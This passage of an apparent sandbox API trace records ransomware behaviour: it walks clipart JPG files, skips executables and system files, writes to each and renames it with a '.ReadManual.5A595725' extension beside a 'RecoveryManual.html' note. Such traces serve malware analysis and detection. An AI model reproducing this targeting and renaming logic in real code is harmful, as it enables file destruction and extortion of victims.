(psz1="JPG", psz2="ps1") returned -1 [0270.227] StrCmpIW (psz1="JPG", psz2="vbs") returned -1 [0270.227] StrCmpIW (psz1="JPG", psz2="ttf") returned -1 [0270.227] StrCmpIW (psz1="JPG", psz2="fon") returned 1 [0270.227] StrCmpIW (psz1="JPG", psz2="lnk") returned -1 [0270.227] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386270.JPG" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386270.JPG") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386270.JPG" [0270.227] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386270.JPG", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386270.JPG.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386270.JPG.ReadManual.5A595725" [0270.227] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386270.JPG.ReadManual.5A595725") returned 87 [0270.227] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39089592847) returned 1 [0270.227] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386270.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0386270.jpg")) returned 0x20 [0270.228] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386270.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0386270.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0270.228] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=15171) returned 1 [0270.228] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3b43, lpName=0x0) returned 0x184 [0270.228] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0270.229] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.229] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0270.231] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0270.231] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3b43) returned 0x2f0000 [0270.231] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0270.231] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39090019434) returned 1 [0270.231] CloseHandle (hObject=0x184) returned 1 [0270.232] SetSecurityInfo () returned 0x57 [0270.232] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0270.232] CloseHandle (hObject=0x194) returned 1 [0270.232] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x661fae90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x396a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0386485.JPG", cAlternateFileName="")) returned 1 [0270.232] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0386485.JPG" | out: lpString1="J0386485.JPG") returned="J0386485.JPG" [0270.232] lstrcmpiW (lpString1="J0386485.JPG", lpString2="RecoveryManual.html") returned -1 [0270.232] StrStrIW (lpFirst="J0386485.JPG", lpSrch=".ReadManual.5A595725") returned 0x0 [0270.232] StrCmpIW (psz1="JPG", psz2="exe") returned 1 [0270.232] StrCmpIW (psz1="JPG", psz2="dll") returned 1 [0270.232] StrCmpIW (psz1="JPG", psz2="sys") returned -1 [0270.232] StrCmpIW (psz1="JPG", psz2="msi") returned -1 [0270.232] StrCmpIW (psz1="JPG", psz2="mui") returned -1 [0270.232] StrCmpIW (psz1="JPG", psz2="inf") returned 1 [0270.232] StrCmpIW (psz1="JPG", psz2="cat") returned 1 [0270.232] StrCmpIW (psz1="JPG", psz2="bat") returned 1 [0270.232] StrCmpIW (psz1="JPG", psz2="cmd") returned 1 [0270.232] StrCmpIW (psz1="JPG", psz2="ps1") returned -1 [0270.232] StrCmpIW (psz1="JPG", psz2="vbs") returned -1 [0270.232] StrCmpIW (psz1="JPG", psz2="ttf") returned -1 [0270.232] StrCmpIW (psz1="JPG", psz2="fon") returned 1 [0270.232] StrCmpIW (psz1="JPG", psz2="lnk") returned -1 [0270.232] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386485.JPG" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386485.JPG") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386485.JPG" [0270.232] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386485.JPG", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386485.JPG.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386485.JPG.ReadManual.5A595725" [0270.232] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386485.JPG.ReadManual.5A595725") returned 87 [0270.232] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39090117838) returned 1 [0270.232] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386485.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0386485.jpg")) returned 0x20 [0270.233] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386485.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0386485.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0270.233] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=14698) returned 1 [0270.233] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x396a, lpName=0x0) returned 0x184 [0270.233] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0270.234] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.234] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0270.236] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0270.236] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x396a) returned 0x2f0000 [0270.236] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0270.236] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39090495297) returned 1 [0270.236] CloseHandle (hObject=0x184) returned 1 [0270.236] SetSecurityInfo () returned 0x57 [0270.236] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0270.236] CloseHandle (hObject=0x194) returned 1 [0270.237] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x661fae90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x693e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0386764.JPG", cAlternateFileName="")) returned 1 [0270.237] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0386764.JPG" | out: lpString1="J0386764.JPG") returned="J0386764.JPG" [0270.237] lstrcmpiW (lpString1="J0386764.JPG", lpString2="RecoveryManual.html") returned -1 [0270.237] StrStrIW (lpFirst="J0386764.JPG", lpSrch=".ReadManual.5A595725") returned 0x0 [0270.237] StrCmpIW (psz1="JPG", psz2="exe") returned 1 [0270.237] StrCmpIW (psz1="JPG", psz2="dll") returned 1 [0270.237] StrCmpIW (psz1="JPG", psz2="sys") returned -1 [0270.237] StrCmpIW (psz1="JPG", psz2="msi") returned -1 [0270.237] StrCmpIW (psz1="JPG", psz2="mui") returned -1 [0270.237] StrCmpIW (psz1="JPG", psz2="inf") returned 1 [0270.237] StrCmpIW (psz1="JPG", psz2="cat") returned 1 [0270.237] StrCmpIW (psz1="JPG", psz2="bat") returned 1 [0270.237] StrCmpIW (psz1="JPG", psz2="cmd") returned 1 [0270.237] StrCmpIW (psz1="JPG", psz2="ps1") returned -1 [0270.237] StrCmpIW (psz1="JPG", psz2="vbs") returned -1 [0270.237] StrCmpIW (psz1="JPG", psz2="ttf") returned -1 [0270.237] StrCmpIW (psz1="JPG", psz2="fon") returned 1 [0270.237] StrCmpIW (psz1="JPG", psz2="lnk") returned -1 [0270.237] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386764.JPG" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386764.JPG") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386764.JPG" [0270.237] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386764.JPG", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386764.JPG.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386764.JPG.ReadManual.5A595725" [0270.237] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386764.JPG.ReadManual.5A595725") returned 87 [0270.237] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39090599319) returned 1 [0270.237] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386764.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0386764.jpg")) returned 0x20 [0270.237] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386764.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0386764.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0270.238] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=26942) returned 1 [0270.238] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x693e, lpName=0x0) returned 0x184 [0270.238] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0270.238] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.239] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0270.240] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0270.240] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x693e) returned 0x2f0000 [0270.241] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0270.241] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39090971722) returned 1 [0270.241] CloseHandle (hObject=0x184) returned 1 [0270.241] SetSecurityInfo () returned 0x57 [0270.241] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0270.241] CloseHandle (hObject=0x194) returned 1 [0270.241] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x661fae90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xcb0a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0387337.JPG", cAlternateFileName="")) returned 1 [0270.241] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0387337.JPG" | out: lpString1="J0387337.JPG") returned="J0387337.JPG" [0270.241] lstrcmpiW (lpString1="J0387337.JPG", lpString2="RecoveryManual.html") returned -1 [0270.241] StrStrIW (lpFirst="J0387337.JPG", lpSrch=".ReadManual.5A595725") returned 0x0 [0270.241] StrCmpIW (psz1="JPG", psz2="exe") returned 1 [0270.241] StrCmpIW (psz1="JPG", psz2="dll") returned 1 [0270.241] StrCmpIW (psz1="JPG", psz2="sys") returned -1 [0270.241] StrCmpIW (psz1="JPG", psz2="msi") returned -1 [0270.242] StrCmpIW (psz1="JPG", psz2="mui") returned -1 [0270.242] StrCmpIW (psz1="JPG", psz2="inf") returned 1 [0270.242] StrCmpIW (psz1="JPG", psz2="cat") returned 1 [0270.242] StrCmpIW (psz1="JPG", psz2="bat") returned 1 [0270.242] StrCmpIW (psz1="JPG", psz2="cmd") returned 1 [0270.242] StrCmpIW (psz1="JPG", psz2="ps1") returned -1 [0270.242] StrCmpIW (psz1="JPG", psz2="vbs") returned -1 [0270.242] StrCmpIW (psz1="JPG", psz2="ttf") returned -1 [0270.242] StrCmpIW (psz1="JPG", psz2="fon") returned 1 [0270.242] StrCmpIW (psz1="JPG", psz2="lnk") returned -1 [0270.242] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387337.JPG" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387337.JPG") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387337.JPG" [0270.242] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387337.JPG", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387337.JPG.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387337.JPG.ReadManual.5A595725" [0270.242] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387337.JPG.ReadManual.5A595725") returned 87 [0270.242] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39091070493) returned 1 [0270.242] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387337.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387337.jpg")) returned 0x20 [0270.242] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387337.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387337.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0270.242] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=51978) returned 1 [0270.243] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xcb0a, lpName=0x0) returned 0x184 [0270.243] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0270.243] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.243] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0270.245] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0270.245] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xcb0a) returned 0x2f0000 [0270.246] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0270.247] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39091557944) returned 1 [0270.247] CloseHandle (hObject=0x184) returned 1 [0270.247] SetSecurityInfo () returned 0x57 [0270.247] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0270.247] CloseHandle (hObject=0x194) returned 1 [0270.247] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x567be5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x6cec, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0387578.JPG", cAlternateFileName="")) returned 1 [0270.247] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0387578.JPG" | out: lpString1="J0387578.JPG") returned="J0387578.JPG" [0270.247] lstrcmpiW (lpString1="J0387578.JPG", lpString2="RecoveryManual.html") returned -1 [0270.247] StrStrIW (lpFirst="J0387578.JPG", lpSrch=".ReadManual.5A595725") returned 0x0 [0270.247] StrCmpIW (psz1="JPG", psz2="exe") returned 1 [0270.247] StrCmpIW (psz1="JPG", psz2="dll") returned 1 [0270.247] StrCmpIW (psz1="JPG", psz2="sys") returned -1 [0270.247] StrCmpIW (psz1="JPG", psz2="msi") returned -1 [0270.247] StrCmpIW (psz1="JPG", psz2="mui") returned -1 [0270.247] StrCmpIW (psz1="JPG", psz2="inf") returned 1 [0270.247] StrCmpIW (psz1="JPG", psz2="cat") returned 1 [0270.247] StrCmpIW (psz1="JPG", psz2="bat") returned 1 [0270.248] StrCmpIW (psz1="JPG", psz2="cmd") returned 1 [0270.248] StrCmpIW (psz1="JPG", psz2="ps1") returned -1 [0270.248] StrCmpIW (psz1="JPG", psz2="vbs") returned -1 [0270.248] StrCmpIW (psz1="JPG", psz2="ttf") returned -1 [0270.248] StrCmpIW (psz1="JPG", psz2="fon") returned 1 [0270.248] StrCmpIW (psz1="JPG", psz2="lnk") returned -1 [0270.248] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387578.JPG" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387578.JPG") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387578.JPG" [0270.248] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387578.JPG", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387578.JPG.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387578.JPG.ReadManual.5A595725" [0270.248] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387578.JPG.ReadManual.5A595725") returned 87 [0270.248] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39091655837) returned 1 [0270.248] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387578.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387578.jpg")) returned 0x20 [0270.249] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387578.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387578.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0270.249] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=27884) returned 1 [0270.249] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6cec, lpName=0x0) returned 0x184 [0270.249] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0270.250] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.250] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0270.252] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0270.252] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6cec) returned 0x2f0000 [0270.252] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0270.252] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39092113067) returned 1 [0270.252] CloseHandle (hObject=0x184) returned 1 [0270.252] SetSecurityInfo () returned 0x57 [0270.253] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0270.253] CloseHandle (hObject=0x194) returned 1 [0270.253] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x661fae90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x98c7, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0387591.JPG", cAlternateFileName="")) returned 1 [0270.253] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0387591.JPG" | out: lpString1="J0387591.JPG") returned="J0387591.JPG" [0270.253] lstrcmpiW (lpString1="J0387591.JPG", lpString2="RecoveryManual.html") returned -1 [0270.253] StrStrIW (lpFirst="J0387591.JPG", lpSrch=".ReadManual.5A595725") returned 0x0 [0270.253] StrCmpIW (psz1="JPG", psz2="exe") returned 1 [0270.253] StrCmpIW (psz1="JPG", psz2="dll") returned 1 [0270.253] StrCmpIW (psz1="JPG", psz2="sys") returned -1 [0270.253] StrCmpIW (psz1="JPG", psz2="msi") returned -1 [0270.253] StrCmpIW (psz1="JPG", psz2="mui") returned -1 [0270.253] StrCmpIW (psz1="JPG", psz2="inf") returned 1 [0270.253] StrCmpIW (psz1="JPG", psz2="cat") returned 1 [0270.253] StrCmpIW (psz1="JPG", psz2="bat") returned 1 [0270.253] StrCmpIW (psz1="JPG", psz2="cmd") returned 1 [0270.253] StrCmpIW (psz1="JPG", psz2="ps1") returned -1 [0270.253] StrCmpIW (psz1="JPG", psz2="vbs") returned -1 [0270.253] StrCmpIW (psz1="JPG", psz2="ttf") returned -1 [0270.253] StrCmpIW (psz1="JPG", psz2="fon") returned 1 [0270.253] StrCmpIW (psz1="JPG", psz2="lnk") returned -1 [0270.253] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387591.JPG" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387591.JPG") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387591.JPG" [0270.253] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387591.JPG", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387591.JPG.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387591.JPG.ReadManual.5A595725" [0270.253] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387591.JPG.ReadManual.5A595725") returned 87 [0270.253] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39092215384) returned 1 [0270.253] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387591.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387591.jpg")) returned 0x20 [0270.254] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387591.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387591.jpg"), dwDesiredAccess=0xc0010000, 